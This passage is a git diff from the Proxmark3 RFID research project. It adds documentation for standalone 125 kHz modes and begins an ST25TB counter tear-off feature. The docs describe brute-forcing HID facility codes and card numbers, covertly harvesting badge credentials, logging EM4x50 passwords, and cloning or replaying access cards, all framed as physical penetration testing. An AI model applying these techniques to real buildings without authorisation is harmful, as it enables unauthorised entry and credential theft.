Attacks](../hid_downgrade.md) — Reader downgrade methods diff --git a/doc/standalone/lf_hidfcbrute.md b/doc/standalone/lf_hidfcbrute.md new file mode 100644 index 000000000..719620e9f --- /dev/null +++ b/doc/standalone/lf_hidfcbrute.md @@ -0,0 +1,92 @@ +# LF_HIDFCBRUTE — HID Facility Code Bruteforce + +> **Author:** ss23 +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash for logging) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_hidfcbrute.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Brute forces all 256 possible HID facility codes (0–255) using a static card number of 1, and logs results to flash memory. When a reader accepts a facility code, you can mark it with a button press. + +## Why + +HID 26-bit (H10301) cards encode a facility code (FC, 0–255) and a card number (CN, 0–65535). If you don't have a valid card to clone, but you do have physical access to a reader, you can discover the correct facility code by trying all 256 possibilities. Once you know the FC, you can pair it with brute-forced card numbers. + +This is the first step in a blind HID attack when you have no captured credentials. + +## How + +1. The mode simulates an HID 26-bit tag with FC cycling from 0 to 255 and CN fixed at 1 +2. During each simulation, LED C toggles to show progress +3. Press the button to log the current FC to `lf_hid_fcbrute.log` on flash (this is your "the door opened" marker) +4. Hold the button for 1 second to exit +5. After completion, retrieve the log file via the client + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Brute force active | +| **C** (toggling) | Toggles on each FC attempt — visual progress indicator | +| **D** (solid) | Simulation transmission active | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Click / hold 10ms** | Begin brute force | +| **Single click** (during brute) | Log current FC to flash file | +| **Hold ≥ 1 second** | Exit brute force | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> WaitStart : Startup + + WaitStart --> BruteFC0 : Button press + + BruteFC0 --> BruteFC1 : Simulate FC=0, advance + BruteFC1 --> BruteFC2 : Simulate FC=1, advance + BruteFC2 --> BruteFC_N : ... + BruteFC_N --> BruteFC255 : Simulate FC=N, advance + BruteFC255 --> Complete : All FCs tested + + BruteFC_N --> LogFC : Button click\n(door opened!) + LogFC --> BruteFC_N : Continue brute + + BruteFC_N --> [*] : Button hold ≥ 1s + Complete --> [*] : Done + + note right of LogFC + Writes current FC + to lf_hid_fcbrute.log + on SPI flash + end note +``` + +## Flash Storage + +- **Log file**: `lf_hid_fcbrute.log` on SPI flash +- Contains facility codes that were manually marked via button press +- Retrieve with the client after the assessment + +## Compilation + +``` +make clean +make STANDALONE=LF_HIDFCBRUTE -j +./pm3-flash-fullimage +``` + +## Related + +- [HID Corporate Brute](lf_hidbrute.md) — Brute force card numbers with known FC +- [SamyRun](lf_samyrun.md) — Read/clone/sim HID26 +- [ProxBrute](lf_proxbrute.md) — HID ProxII brute force +- [IceHID Collector](lf_icehid.md) — Passive HID credential collection diff --git a/doc/standalone/lf_icehid.md b/doc/standalone/lf_icehid.md new file mode 100644 index 000000000..4a0a8d47b --- /dev/null +++ b/doc/standalone/lf_icehid.md @@ -0,0 +1,96 @@ +# LF_ICEHID — Multi-Format LF Credential Collector + +> **Author:** Iceman +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash memory and battery) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_icehid.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A passive LF credential collector that continuously listens for **HID, IOprox, AWID, and EM4100** cards and logs all captured credentials to flash memory. Runs unattended — just power on and leave it. + +## Why + +This is the ultimate "drop and collect" standalone mode. Place a powered Proxmark3 RDV4 (with battery) near a high-traffic area (like a card reader or badge check-in point) and it silently captures every LF credential that comes into range. Unlike single-protocol modes, IceHID tries all four common LF formats on every signal, catching whatever cards employees are carrying. + +Use cases: +- **Passive badge collection**: Covert long-duration credential harvesting +- **Multi-format sites**: Sites using a mix of HID, AWID, IOprox, and EM4100 +- **Physical penetration testing**: Leave device near a turnstile, collect badges over hours + +## How + +1. The Proxmark3 continuously samples the LF antenna +2. On each sample, it attempts demodulation in four formats: HID → AWID → IOprox → EM4100 +3. If any format decodes successfully, the credential is logged to `lf_hidcollect.log` on flash +4. The cycle repeats indefinitely until the button is held or USB data is received + +The multi-format approach uses `ASKDemod()` and protocol-specific decoders in sequence. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reading / recording LF signal | +| **B** (solid) | Writing captured data to flash | +| **C** (solid) | Unmounting / syncing flash filesystem | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sample : Startup + + Sample --> DemodHID : LF signal detected + DemodHID --> LogFlash : HID decoded + DemodHID --> DemodAWID : HID failed + + DemodAWID --> LogFlash : AWID decoded + DemodAWID --> DemodIO : AWID failed + + DemodIO --> LogFlash : IOprox decoded + DemodIO --> DemodEM : IOprox failed + + DemodEM --> LogFlash : EM4100 decoded + DemodEM --> Sample : All decoders failed + + LogFlash --> Sample : Logged, continue + + Sample --> [*] : Button hold / USB data + + note right of Sample + Continuous loop + Tries 4 demod formats + per signal capture + end note +``` + +## Flash Storage + +- **Log file**: `lf_hidcollect.log` on SPI flash +- Each entry contains the decoded credential data and format type +- Retrieve with client: `mem spiffs dump -s lf_hidcollect.log -d lf_hidcollect.log` + +## Compilation + +``` +make clean +make STANDALONE=LF_ICEHID -j +./pm3-flash-fullimage +``` + +## Related + +- [NexID Collector](lf_nexid.md) — Similar collector for Nexwatch credentials +- [SamyRun](lf_samyrun.md) — Active HID read/clone/sim +- [HID FC Brute](lf_hidfcbrute.md) — Active HID facility code brute force diff --git a/doc/standalone/lf_multihid.md b/doc/standalone/lf_multihid.md new file mode 100644 index 000000000..01bb1b82f --- /dev/null +++ b/doc/standalone/lf_multihid.md @@ -0,0 +1,81 @@ +# LF_MULTIHID — HID 26-Bit Multi-Card Simulator + +> **Author:** Shain Lakin +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_multihid.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Cycles through 4 predefined HID 26-bit (H10301) raw card IDs, simulating each one in sequence automatically. + +## Why + +When you have multiple known-valid HID credentials and want to try them all at a reader without manual intervention. Edit the source with your target IDs, compile, and the device will automatically cycle through each one at the reader. + +## How + +1. The firmware contains 4 hardcoded raw HID values +2. On startup, it selects the first slot and begins simulating +3. After each simulation interval, it advances to the next slot +4. The cycle repeats continuously until exit + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A/B/C/D** (binary) | Currently selected slot number | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sim_Slot0 : Startup + + Sim_Slot0 --> Sim_Slot1 : Auto-advance + Sim_Slot1 --> Sim_Slot2 : Auto-advance + Sim_Slot2 --> Sim_Slot3 : Auto-advance + Sim_Slot3 --> Sim_Slot0 : Auto-advance (cycle) + + Sim_Slot0 --> [*] : USB data received + Sim_Slot1 --> [*] : USB data received + Sim_Slot2 --> [*] : USB data received + Sim_Slot3 --> [*] : USB data received +``` + +## Customization + +Edit the raw ID array in the source code before compiling: + +```c +// Example: change these to your target IDs +static const uint32_t ids[] = { + 0x2006EC0C86, // Slot 0 + 0x2006EC0C87, // Slot 1 + 0x2006EC0C88, // Slot 2 + 0x2006EC0C89, // Slot 3 +}; +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_MULTIHID -j +./pm3-flash-fullimage +``` + +## Related + +- [SamyRun](lf_samyrun.md) — Read/clone/simulate single HID26 +- [HID Corporate Brute](lf_hidbrute.md) — Brute force card numbers +- [IceHID Collector](lf_icehid.md) — Passive multi-format collector diff --git a/doc/standalone/lf_nedap_sim.md b/doc/standalone/lf_nedap_sim.md new file mode 100644 index 000000000..c59e2c3d0 --- /dev/null +++ b/doc/standalone/lf_nedap_sim.md @@ -0,0 +1,74 @@ +# LF_NEDAP_SIM — Nedap RFID Simple Simulator + +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_nedap_sim.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Simulates a Nedap RFID tag with a hardcoded ID. Supports both 64-bit and 128-bit Nedap formats, including proper CRC and framing. + +## Why + +Nedap is a less common but still-deployed access control system, particularly in Europe. This mode lets you test Nedap readers by simulating a known tag. Since Nedap cards are less commonly available than HID, having a simulator is valuable for testing. + +## How + +1. The firmware encodes a hardcoded Nedap tag structure (subType, customerCode, id) +2. It generates the proper bit sequence with CRC calculation +3. Continuously transmits the encoded tag via LF modulation +4. Supports 128-bit "long" format when `isLong=1` + +Default hardcoded values: `subType=5`, `customerCode=0x123`, `id=42424`, `isLong=1` + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| Minimal LED usage | Simple continuous simulation mode | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 1000ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Simulate : Startup + + Simulate --> Simulate : Continuous transmission + Simulate --> [*] : Button hold 1s / USB data +``` + +## Customization + +To change the simulated tag, edit the hardcoded values in the source: + +```c +static NedapTag_t tag = { + .subType = 0x5, + .customerCode = 0x123, + .id = 42424, + .isLong = 1, +}; +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_NEDAP_SIM -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 Emulator](lf_em4100emul.md) — Simple EM4100 simulator +- [Skeleton Template](lf_skeleton.md) — Template for building new LF modes diff --git a/doc/standalone/lf_nexid.md b/doc/standalone/lf_nexid.md new file mode 100644 index 000000000..37ae11cfa --- /dev/null +++ b/doc/standalone/lf_nexid.md @@ -0,0 +1,77 @@ +# LF_NEXID — Nexwatch Credential Collector + +> **Authors:** jrjgjk & Zolorah +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash for logging) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_nexid.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Passively sniffs and logs Nexwatch/NexKey ID credentials to flash memory. Decodes the magic bytes and mode information from each captured card. + +## Why + +Nexwatch (by Honeywell) is an access control card format found in commercial buildings. This collector silently harvests Nexwatch credentials over time, analogous to [IceHID](lf_icehid.md) but specifically targeting the Nexwatch protocol with full decode information. + +## How + +1. Continuously samples the LF antenna using PSK demodulation +2. Attempts Nexwatch-specific decode on each signal burst +3. On successful decode, extracts the magic bytes, mode, and ID +4. Logs the decoded credential to `lf_nexcollect.log` on flash +5. Repeats until button hold or USB exit + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reading / recording LF signal | +| **B** (solid) | Writing to flash | +| **C** (solid) | Unmounting / syncing flash | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sample : Startup + + Sample --> PSKDemod : LF signal detected + PSKDemod --> NexDecode : PSK decoded + PSKDemod --> Sample : PSK decode failed + + NexDecode --> LogFlash : Nexwatch ID found + NexDecode --> Sample : Not Nexwatch + + LogFlash --> Sample : Logged, continue + + Sample --> [*] : Button hold / USB data +``` + +## Flash Storage + +- **Log file**: `lf_nexcollect.log` on SPI flash +- Each entry contains decoded Nexwatch credentials with magic bytes and mode +- Retrieve with: `mem spiffs dump -s lf_nexcollect.log -d lf_nexcollect.log` + +## Compilation + +``` +make clean +make STANDALONE=LF_NEXID -j +./pm3-flash-fullimage +``` + +## Related + +- [IceHID Collector](lf_icehid.md) — Multi-format LF collector (HID/AWID/IO/EM) +- [Tharexde EM4x50](lf_tharexde.md) — EM4x50 collector diff --git a/doc/standalone/lf_prox2brute.md b/doc/standalone/lf_prox2brute.md new file mode 100644 index 000000000..f6730ad05 --- /dev/null +++ b/doc/standalone/lf_prox2brute.md @@ -0,0 +1,96 @@ +# LF_PROX2BRUTE — HID ProxII Bruteforce v2 + +> **Author:** Yann Gascuel +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_prox2brute.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +An improved version of [ProxBrute](lf_proxbrute.md) that brute forces HID ProxII H10301 26-bit card numbers over a **configurable range** with compile-time settings for facility code, start number, and end number. + +## Why + +The original ProxBrute requires reading a card first and only goes downward. Prox2Brute lets you pre-configure the exact facility code and card number range to test — no need to capture a card first. It's faster because it's purpose-built for the H10301 26-bit format with optimized timing between attempts. + +Use this when: +- You already know the facility code (from reconnaissance or a previous capture) +- You want to test a specific card number range +- You need faster iteration than the original ProxBrute + +## How + +1. Configure the target parameters at compile time via `#define` directives: `FACILITY_CODE`, `CARDNUM_START`, `CARDNUM_END` +2. On startup, press the button to begin +3. The device iterates through each card number, simulating the HID 26-bit format +4. LEDs cycle in binary to show progress +5. Hold button for 1 second to exit + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** | Inverts every attempt — fast blink = running | +| **B** | Inverts every 8 attempts | +| **C** | Inverts every 16 attempts | +| **D** | Inverts every 32 attempts — slow blink = progress | +| **D** (initial) | Waiting for button press to start | +| **C** (initial) | Ready indicator | + +The LED pattern creates a visual binary counter showing brute force progress at a glance. + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 200ms** | Start brute force | +| **Hold ≥ 1 second** (during brute) | Exit brute force | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> WaitStart : Startup\nLED_D on + + WaitStart --> BruteLoop : Button hold 200ms\nLED_C on (ready) + + BruteLoop --> BruteLoop : Simulate CN++\nLEDs show binary progress + BruteLoop --> Complete : CN > CARDNUM_END + + BruteLoop --> [*] : Button hold ≥ 1s + Complete --> [*] : All numbers tested + + note right of BruteLoop + FC = FACILITY_CODE (compile-time) + CN iterates CARDNUM_START → CARDNUM_END + LEDs A/B/C/D show binary counter + end note +``` + +## Compile-Time Configuration + +Edit the `#define` values in the source code before compiling: + +```c +#define FACILITY_CODE 111 // Target facility code +#define CARDNUM_START 1 // First card number to try +#define CARDNUM_END 65535 // Last card number to try +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_PROX2BRUTE -j +./pm3-flash-fullimage +``` + +## Related + +- [ProxBrute](lf_proxbrute.md) — Original ProxII brute (reads card first, goes downward) +- [HID Corporate Brute](lf_hidbrute.md) — Corporate 1000 format brute force +- [HID FC Brute](lf_hidfcbrute.md) — Facility code brute force diff --git a/doc/standalone/lf_proxbrute.md b/doc/standalone/lf_proxbrute.md new file mode 100644 index 000000000..a7ccbb04e --- /dev/null +++ b/doc/standalone/lf_proxbrute.md @@ -0,0 +1,71 @@ +# LF_PROXBRUTE — HID ProxII Bruteforce + +> **Author:** Brad Antoniewicz +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_proxbrute.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads an HID ProxII tag, then brute forces all card numbers **downward** from the captured value, keeping the same facility code. + +## Why + +HID ProxII is one of the most widely deployed access control card formats. If you have one valid card, you can enumerate other valid card numbers by brute forcing downward (most organizations assign card numbers sequentially, so badges with lower numbers often belong to employees with longer tenure or higher access). + +## How + +1. **READ**: Capture an HID ProxII card to learn the facility code and starting card number +2. **BRUTE**: Simulate the card with decrementing card numbers, pausing briefly at each one +3. The facilty code is preserved from the original capture +4. Hold button during brute to exit back to READ + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reading / simulation active | +| **C** (solid) | Brute force mode | +| **A+B+C+D** (flash) | Error or exiting | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Advance state (READ → BRUTE) | +| **Hold during brute** | Exit brute → back to READ | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + READ --> BRUTE : Button hold\n(card captured) + READ --> READ : Button hold\n(no card) + + BRUTE --> BRUTE : Decrement card number\nand simulate + BRUTE --> READ : Button hold\n(exit brute) + + READ --> [*] : USB data received + BRUTE --> [*] : USB data received +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_PROXBRUTE -j +./pm3-flash-fullimage +``` + +## Related + +- [Prox2Brute](lf_prox2brute.md) — Faster, configurable ProxII brute force v2 +- [HID Corporate Brute](lf_hidbrute.md) — Corporate 1000 brute force +- [SamyRun](lf_samyrun.md) — HID26 read/clone/sim +- [HID FC Brute](lf_hidfcbrute.md) — Facility code brute force diff --git a/doc/standalone/lf_samyrun.md b/doc/standalone/lf_samyrun.md new file mode 100644 index 000000000..57b62268d --- /dev/null +++ b/doc/standalone/lf_samyrun.md @@ -0,0 +1,95 @@ +# LF_SAMYRUN — HID26 Read/Clone/Simulate + +> **Author:** Samy Kamkar +> **Frequency:** LF (125 kHz) +> **Hardware:** Generic Proxmark3 (no special requirements) +> **Default mode:** Yes — this is the factory-default standalone mode + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_samyrun.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +SamyRun reads an HID 26-bit (H10301) proximity card, then allows you to simulate or clone that card to a T55x7 blank. It supports **2 storage banks**, so you can capture and replay two different cards without reconnecting to a host. + +## Why + +This is the classic "sniff and replay" attack for HID access control systems. Many physical security assessments require demonstrating that credentials can be captured and replayed. SamyRun is the simplest, most direct tool for this: walk up to a card, read it, then walk up to a reader and replay it — entirely on-device with no laptop required. + +Use cases: +- **Red team engagements**: Capture a badge and replay it at a door reader +- **Credential cloning**: Write captured credentials to a T55x7 blank card +- **Physical security audits**: Demonstrate that HID 26-bit (H10301) is trivially clonable + +## How + +1. The Proxmark3 enters LF read mode and waits for an HID card to come into field range +2. The card's raw data (high + low words) is decoded and stored into the selected bank (0 or 1) +3. On the next button press, the Proxmark3 simulates the captured card — it acts as the card itself and will unlock any reader expecting that credential +4. On the next button press, the data is written to a T55x7 card, creating a physical clone +5. The mode then cycles to the second bank and repeats + +The firmware uses `lf_hid_watch()` for reading, `CmdHIDsimTAGEx()` for simulation, and `CopyHIDtoT55x7()` for cloning. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Bank 0 selected, reading mode | +| **B** (solid) | Bank 1 selected, reading mode | +| **A or B** (blinking) | Error — zero data read, retry | +| **C** (solid) | Simulation active | +| **D** (solid) | Cloning active | +| **A+B+C+D** (rapid blink) | Exiting standalone mode | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Advance to next state (READ → SIM → CLONE → next bank) | +| **USB command** | Exit standalone mode and return to host shell | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Read_Bank0 : Power on / Standalone start + + Read_Bank0 --> Sim_Bank0 : Button hold\n(card captured) + Read_Bank0 --> Read_Bank0 : Button hold\n(no card / zeros) + + Sim_Bank0 --> Clone_Bank0 : Button hold + Clone_Bank0 --> Read_Bank1 : Button hold\n(switch to bank 1) + + Read_Bank1 --> Sim_Bank1 : Button hold\n(card captured) + Read_Bank1 --> Read_Bank1 : Button hold\n(no card / zeros) + + Sim_Bank1 --> Clone_Bank1 : Button hold + Clone_Bank1 --> Read_Bank0 : Button hold\n(cycle back to bank 0) + + Read_Bank0 --> [*] : USB data received + Read_Bank1 --> [*] : USB data received + Sim_Bank0 --> [*] : USB data received + Sim_Bank1 --> [*] : USB data received +``` + +## Compilation + +``` +make clean +make STANDALONE=LF_SAMYRUN -j +./pm3-flash-fullimage +``` + +Or in `Makefile.platform`: +``` +STANDALONE=LF_SAMYRUN +``` + +## Related + +- [HID Corporate Brute](lf_hidbrute.md) — Bruteforce HID Corporate 1000 card numbers +- [ProxBrute](lf_proxbrute.md) — Bruteforce HID ProxII card numbers +- [MultiHID](lf_multihid.md) — Simulate multiple predefined HID26 cards +- [IceHID Collector](lf_icehid.md) — Log HID credentials to flash memory diff --git a/doc/standalone/lf_tharexde.md b/doc/standalone/lf_tharexde.md new file mode 100644 index 000000000..bc37cc78d --- /dev/null +++ b/doc/standalone/lf_tharexde.md @@ -0,0 +1,99 @@ +# LF_THAREXDE — EM4x50 Simulator/Collector + +> **Author:** tharexde +> **Frequency:** LF (125 kHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/lf_tharexde.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A dual-mode standalone for EM4x50 tags: simulate an EM4x50 tag loaded from a flash dump file, or read/collect EM4x50 data (including passwords) to flash. + +## Why + +EM4x50 is a more advanced LF tag than EM4100 — it supports password protection, memory blocks, and bidirectional communication. This mode handles both offensive and defensive EM4x50 scenarios: + +- **Simulation**: Load a dumped EM4x50 tag and emulate it at a reader +- **Collection**: Capture EM4x50 data and passwords from cards in the field + +## How + +**SIM mode:** +1. Loads tag data from `lf_em4x50_simulate.eml` on flash +2. Configures the EM4x50 simulation engine +3. Continuously emulates the tag + +**READ mode:** +1. Listens for EM4x50 tags +2. Reads all accessible memory blocks +3. If password authentication is observed, logs it to `lf_em4x50_passwords.log` +4. Full tag dumps go to `lf_em4x50_collect.log` + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Simulating (blinks if no data or error) | +| **B** (solid) | Reading / recording | +| **D** (solid) | Unmounting / syncing flash | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Toggle between SIM and READ modes | +| **Hold** | Exit to shell | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SIM : Startup (eml file exists) + [*] --> READ : Startup (no eml file) + + SIM --> READ : Button click + READ --> SIM : Button click + + SIM --> SIM : Continuous emulation + READ --> READ : Continuous collection + + SIM --> [*] : Button hold / USB data + READ --> [*] : Button hold / USB data + + note right of SIM + Loads from: + lf_em4x50_simulate.eml + end note + + note right of READ + Logs to: + lf_em4x50_passwords.log + lf_em4x50_collect.log + end note +``` + +## Flash Files + +| File | Purpose | +|------|---------| +| `lf_em4x50_simulate.eml` | Input: tag data to simulate | +| `lf_em4x50_passwords.log` | Output: captured passwords | +| `lf_em4x50_collect.log` | Output: full tag dumps | + +## Compilation + +``` +make clean +make STANDALONE=LF_THAREXDE -j +./pm3-flash-fullimage +``` + +## Related + +- [EM4100 RSWB](lf_em4100rswb.md) — EM4100 (simpler format) multi-tool +- [IceHID Collector](lf_icehid.md) — Multi-format LF collector +- [NexID Collector](lf_nexid.md) — Nexwatch collector From 24d1fe79f8f78298bb6224887fca0e25b5d1ee8d Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Wed, 11 Mar 2026 20:45:24 +0200 Subject: [PATCH 084/162] Refine known AIDs; add Android HCE --- client/resources/aidlist.json | 24 ++++++++++++++++-------- client/src/cmdhf14a.c | 2 +- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index 53828dbc1..5e4a6bcef 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -1535,6 +1535,14 @@ "Description": "", "Type": "EMV" }, + { + "AID": "A000000476416E64726F6964484345", + "Vendor": "Google", + "Country": "N/A", + "Name": "Android HCE", + "Description": "Available on AOSP-based android devices with active HCE", + "Type": "" + }, { "AID": "A000000476A010", "Vendor": "Google", @@ -2275,8 +2283,8 @@ "AID": "A0000008580102", "Vendor": "Apple", "Country": "", - "Name": "Apple Home Key Framework", - "Description": "Home Key configuration applet. Used for attestation exchange", + "Name": "Apple Home Key Step Up", + "Description": "Used for reading the attestation certificate", "Type": "" }, { @@ -2291,8 +2299,8 @@ "AID": "A0000008580202", "Vendor": "Apple", "Country": "", - "Name": "Apple Access Key Framework", - "Description": "Access Key configuration applet. Used for attestation exchange", + "Name": "Apple Access Key Step Up", + "Description": "Used for reading the attestation certificate", "Type": "" }, { @@ -2307,16 +2315,16 @@ "AID": "A000000909ACCE5502", "Vendor": "Connectivity Standards Alliance (CSA)", "Country": "", - "Name": "Aliro Framework", - "Description": "Used during key provisioning, configuration, attestation exchange", + "Name": "Aliro Step Up", + "Description": "Used to retrieve 'access documents' in case a reader needs to verify the validity of a credential", "Type": "" }, { "AID": "A000000909ACCE5501", "Vendor": "Connectivity Standards Alliance (CSA)", "Country": "", - "Name": "Aliro", - "Description": "", + "Name": "Aliro Expedited", + "Description": "Acts as the primary credential holder applet", "Type": "access" }, { diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 403cadd9d..ff21385be 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -242,7 +242,7 @@ static const hintAIDList_t hintAIDList[] = { { "\x41\x44\x20\x46\x31", 5, "CIPURSE", "hf cipurse" }, { "\xA0\x00\x00\x09\x09\xAC\xCE\x55\x01", 9, "Aliro", "hf aliro" }, { "\xd2\x76\x00\x00\x85\x01\x00", 7, "desfire", "hf mfdes" }, - { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "Apple VAS", "hf vas"}, + { "\x4F\x53\x45\x2E\x56\x41\x53\x2E\x30\x31", 10, "OSE.VAS", "hf vas"}, }; // iso14a apdu input frame length From 286df8f4ebe9640787bb17bec3b30d56a8004c49 Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:07:25 +0100 Subject: [PATCH 085/162] feat(14b): add interactive hf 14b tearoff command Add an interactive command for performing tear-off attacks on ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented, based on the near-field-chaos project by SecLabz. The command sweeps tear-off timing from --start downward in --adj microsecond steps, automatically consolidates partial writes, verifies stability across multiple reads, and reports progress in real-time with color-coded output. Performance optimizations: - One-time full iso14443b_setup() at start; subsequent field cycles use lightweight tearoff_field_on()/tearoff_field_off() that skip FPGA bitstream reload and buffer reallocation - Periodic CMD_WTX keepalives to prevent USB timeouts during long attacks - Calls FpgaResetBitstream() on exit to ensure clean FPGA state Usage: hf 14b tearoff -b -d [--start ] [--adj ] --- CHANGELOG.md | 2 + armsrc/appmain.c | 4 + armsrc/iso14443b.c | 456 ++++++++++++++++++++++++++++++++ armsrc/iso14443b.h | 1 + client/src/cmdhf14b.c | 130 +++++++++ client/src/pm3line_vocabulary.h | 1 + doc/commands.json | 20 ++ doc/commands.md | 1 + include/pm3_cmd.h | 1 + 9 files changed, 616 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f66da49df..b4bfed418 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) +- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index aee4d8326..43c3e68ea 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) { setHf14bConfig(&c); break; } + case CMD_HF_ISO14443B_ST25TB_TEAROFF: { + ST25TB_TearOff(packet->data.asBytes); + break; + } case CMD_HF_CRYPTORF_SIM : { // simulate_crf_tag(); break; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index ed726451c..eed18eed4 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2622,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) { g_trigger = enable; } +//============================================================================= +// ST25TB COUNTER TEAR-OFF IMPLEMENTATION +// Ported from near-field-chaos / hf_st25_tearoff standalone +//============================================================================= + +// Tear-off constants +#define TEAROFF_INITIAL_DELAY_US 150 +#define TEAROFF_MIN_DELAY_US 0 +#define TEAROFF_ADJUSTMENT_US_DEF 25 +#define TEAROFF_WRITE_RETRY_COUNT 30 +#define TEAROFF_CONSOLIDATE_READS 6 +#define TEAROFF_CONSOLIDATE_WAIT_RD 2 +#define TEAROFF_CONSOLIDATE_WAIT_MS 2000 + +// Bit manipulation macros +#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index))) +#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index)) + +// Simple PRNG for randomization in tear-off value selection +static unsigned long s_tearoff_prng_seed = 1; 